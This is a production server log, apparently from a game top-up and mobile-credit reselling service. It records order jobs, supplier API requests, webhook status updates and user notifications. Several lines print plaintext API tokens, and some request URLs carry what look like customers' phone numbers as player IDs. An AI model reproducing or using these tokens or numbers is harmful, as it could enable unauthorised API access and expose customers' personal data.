[2026-03-24 19:28:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 19:28:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 19:28:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1688  
[2026-03-24 19:28:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 19:29:44] production.INFO: Constructing job for order: 179226  
[2026-03-24 19:29:46] production.INFO: Handling job for order: 179226  
[2026-03-24 19:29:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:29:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:29:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/564/params?qty=10000&uuid=5f1ae68b-5690-49b0-8ecb-d404c1b69f3f&Player_ID=130400372  
[2026-03-24 19:29:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/564/params?qty=10000&uuid=5f1ae68b-5690-49b0-8ecb-d404c1b69f3f&Player_ID=130400372","has_body":false} 
[2026-03-24 19:29:47] production.INFO: Operation sent successfully {"operation_id":164114,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-WKE-1774369786","amount":1.3765199999999999658228944099391810595989227294921875,"status":"processing","product":"Sugo Amount","game":"Sugo","notes":[],"created_at":"2026-03-24 19:29:47"}},"processed_data":{"order_number":"ORD-WKE-1774369786","amount":1.3765199999999999658228944099391810595989227294921875,"status":"processing","product":"Sugo Amount","game":"Sugo"}} 
[2026-03-24 19:29:55] production.INFO: Constructing job for order: 179227  
[2026-03-24 19:29:56] production.INFO: Handling job for order: 179227  
[2026-03-24 19:29:56] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:29:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:29:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/58/params?qty=1&uuid=140756cb-8553-4758-bb57-b32956443485&Player_ID=5841152849  
[2026-03-24 19:29:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/58/params?qty=1&uuid=140756cb-8553-4758-bb57-b32956443485&Player_ID=5841152849","has_body":false} 
[2026-03-24 19:29:57] production.INFO: Operation sent successfully {"operation_id":164115,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mlHbMgFa-1774369796","amount":88.7399999999999948840923025272786617279052734375,"status":"processing","product":"6000+2100UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:29:57"}},"processed_data":{"order_number":"ORD-mlHbMgFa-1774369796","amount":88.7399999999999948840923025272786617279052734375,"status":"processing","product":"6000+2100UC","game":"PUBG"}} 
[2026-03-24 19:30:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03"} 
[2026-03-24 19:30:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","total_operations":7,"sites_count":2} 
[2026-03-24 19:30:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-tmRYG-1774365381","ORD-bjZ-1774369646","ORD-WKE-1774369786","ORD-mlHbMgFa-1774369796"]} 
[2026-03-24 19:30:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:30:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 19:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mlHbMgFa-1774369796","operation_id":164115} 
[2026-03-24 19:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:30:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114} 
[2026-03-24 19:30:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 19:30:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:30:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"count":1} 
[2026-03-24 19:30:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"count":1} 
[2026-03-24 19:30:03] production.INFO: Bulk processed user refunds {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"count":1} 
[2026-03-24 19:30:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"user_id":1515,"notification_type":"order_rejected","reference_id":179221} 
[2026-03-24 19:30:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":1} 
[2026-03-24 19:30:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:30:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"processed":1,"errors":0} 
[2026-03-24 19:30:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"processed":1,"errors":0} 
[2026-03-24 19:30:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"orders_count":3,"order_ids":["ORD-4Ez12M-1774369675","ORD-dwcF-1774369676","ORD-wEA-1774369679"]} 
[2026-03-24 19:30:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114} 
[2026-03-24 19:30:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WKE-1774369786","operation_id":164114,"orders_count":3} 
[2026-03-24 19:30:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 19:30:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 19:30:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"count":3} 
[2026-03-24 19:30:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"count":3} 
[2026-03-24 19:30:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"user_id":1056,"notification_type":"order_approved","reference_id":179223} 
[2026-03-24 19:30:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"user_id":1074,"notification_type":"order_approved","reference_id":179224} 
[2026-03-24 19:30:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"user_id":1074,"notification_type":"order_approved","reference_id":179225} 
[2026-03-24 19:30:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"chunk_number":1,"processed":3,"errors":0,"total_operations":3,"total_orders":3,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:30:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:30:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"processed":3,"errors":0} 
[2026-03-24 19:30:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113,"processed":3,"errors":0} 
[2026-03-24 19:30:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"cDzcOzemQw2PikPYr1R4ZciJO1yXJIFG","execution_time":"2026-03-24 19:30:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wEA-1774369679","operation_id":164113} 
[2026-03-24 19:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 19:30:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:30:03] production.INFO: Executing GetProducts task...  
[2026-03-24 19:30:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bjZ-1774369646","status":"cancelled","notes":["Operation failed/cancelled via status check"],"codes":[]}} 
[2026-03-24 19:30:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-bjZ-1774369646","status":"cancelled","codes":[],"notes":["Operation failed/cancelled via status check"]} 
[2026-03-24 19:30:05] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 19:30:05] production.ERROR: Order not found or already processed. External ID: ORD-bjZ-1774369646  
[2026-03-24 19:30:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bjZ-1774369646","status":"rejected","codes_count":0} 
[2026-03-24 19:30:05] production.INFO: async() رجع: true  
[2026-03-24 19:30:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:30:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:30:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:30:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:30:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:30:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:30:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:30:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:30:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:30:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:30:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:30:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1515  
[2026-03-24 19:30:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1515  
[2026-03-24 19:30:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 19:30:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 19:30:07] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 19:30:38] production.INFO: Constructing job for order: 179228  
[2026-03-24 19:30:40] production.INFO: Handling job for order: 179228  
[2026-03-24 19:30:40] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:30:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:30:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=e369b4a1-5250-4a65-9472-5fdd6611094a&Player_ID=0981503472  
[2026-03-24 19:30:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=e369b4a1-5250-4a65-9472-5fdd6611094a&Player_ID=0981503472","has_body":false} 
[2026-03-24 19:30:40] production.INFO: Operation sent successfully {"operation_id":164116,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SbAlI3I-1774369840","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:30:40"}},"processed_data":{"order_number":"ORD-SbAlI3I-1774369840","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:30:47] production.INFO: Constructing job for order: 179229  
[2026-03-24 19:30:49] production.INFO: Handling job for order: 179229  
[2026-03-24 19:30:49] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:30:49] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:30:49] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=b25b6af3-5459-4f61-919f-96f8bed5ea27&Player_ID=0981503472  
[2026-03-24 19:30:49] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=b25b6af3-5459-4f61-919f-96f8bed5ea27&Player_ID=0981503472","has_body":false} 
[2026-03-24 19:30:50] production.INFO: Operation sent successfully {"operation_id":164117,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Ws7bjKC-1774369850","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:30:50"}},"processed_data":{"order_number":"ORD-Ws7bjKC-1774369850","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:31:32] production.INFO: Constructing job for order: 179230  
[2026-03-24 19:31:34] production.INFO: Constructing job for order: 179231  
[2026-03-24 19:31:35] production.INFO: Handling job for order: 179230  
[2026-03-24 19:31:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:31:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:31:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/602/params?qty=26000&uuid=dff6b4d5-b085-413c-81bc-1def4e7cb217&Player_ID=64009940  
[2026-03-24 19:31:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/602/params?qty=26000&uuid=dff6b4d5-b085-413c-81bc-1def4e7cb217&Player_ID=64009940","has_body":false} 
[2026-03-24 19:31:36] production.INFO: Operation sent successfully {"operation_id":164118,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Ms1W22Xr-1774369896","amount":1.628161599999999875620915190665982663631439208984375,"status":"processing","product":"4fun Amount","game":"4Fun","notes":[],"created_at":"2026-03-24 19:31:36"}},"processed_data":{"order_number":"ORD-Ms1W22Xr-1774369896","amount":1.628161599999999875620915190665982663631439208984375,"status":"processing","product":"4fun Amount","game":"4Fun"}} 
[2026-03-24 19:31:36] production.INFO: Handling job for order: 179231  
[2026-03-24 19:31:36] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:31:36] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:31:36] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=1337fe84-e61e-4c66-a86f-a65fee47c554&Player_ID=0997137725  
[2026-03-24 19:31:36] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/39/params?qty=1&uuid=1337fe84-e61e-4c66-a86f-a65fee47c554&Player_ID=0997137725","has_body":false} 
[2026-03-24 19:31:37] production.INFO: Operation sent successfully {"operation_id":164119,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-9sIXw2-1774369897","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:31:37"}},"processed_data":{"order_number":"ORD-9sIXw2-1774369897","amount":82.191339999999996734914020635187625885009765625,"status":"processing","product":"77.88 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:32:00] production.INFO: SendAcceptReject: Notification queued {"user_id":957,"notification_type":"request_approved","reference_id":18681} 
[2026-03-24 19:32:00] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"150.0","mainamount":"150","operation_number":"158634981","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpkbu7q0c4pcfv8Il1sF0"}},"user_id":1103} 
[2026-03-24 19:32:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 957  
[2026-03-24 19:32:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:32:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:32:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:32:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:32:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:32:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:32:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:32:01] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:32:01] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18683,"user_id":1103,"amount":150.0,"admins_notified":7} 
[2026-03-24 19:32:01] production.INFO: Constructing job for order: 179232  
[2026-03-24 19:32:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-WKE-1774369786","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 19:32:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-WKE-1774369786","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 19:32:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:32:03] production.INFO: SendAcceptReject: Notification queued {"user_id":59,"notification_type":"order_approved","reference_id":179226} 
[2026-03-24 19:32:03] production.INFO: Order updated successfully. Order ID: 179226, Status: completed  
[2026-03-24 19:32:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-WKE-1774369786","status":"completed","codes_count":0} 
[2026-03-24 19:32:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04"} 
[2026-03-24 19:32:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","total_operations":6,"sites_count":2} 
[2026-03-24 19:32:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-tmRYG-1774365381","ORD-mlHbMgFa-1774369796","ORD-Ms1W22Xr-1774369896"]} 
[2026-03-24 19:32:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:32:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 19:32:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mlHbMgFa-1774369796","operation_id":164115} 
[2026-03-24 19:32:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ms1W22Xr-1774369896","operation_id":164118} 
[2026-03-24 19:32:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:32:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 19:32:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":0,"errors":0} 
[2026-03-24 19:32:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":3,"order_ids":["ORD-SbAlI3I-1774369840","ORD-Ws7bjKC-1774369850","ORD-9sIXw2-1774369897"]} 
[2026-03-24 19:32:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:32:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":3} 
[2026-03-24 19:32:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"processed":3,"skipped":0,"updates_prepared":3} 
[2026-03-24 19:32:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"total_items":3,"chunks":1,"chunk_size":10} 
[2026-03-24 19:32:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"0dYWi9ZPJTbhpyBFN06ztXIZBTxQsk07","execution_time":"2026-03-24 19:32:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ws7bjKC-1774369850","operation_id":164117,"count":3} 
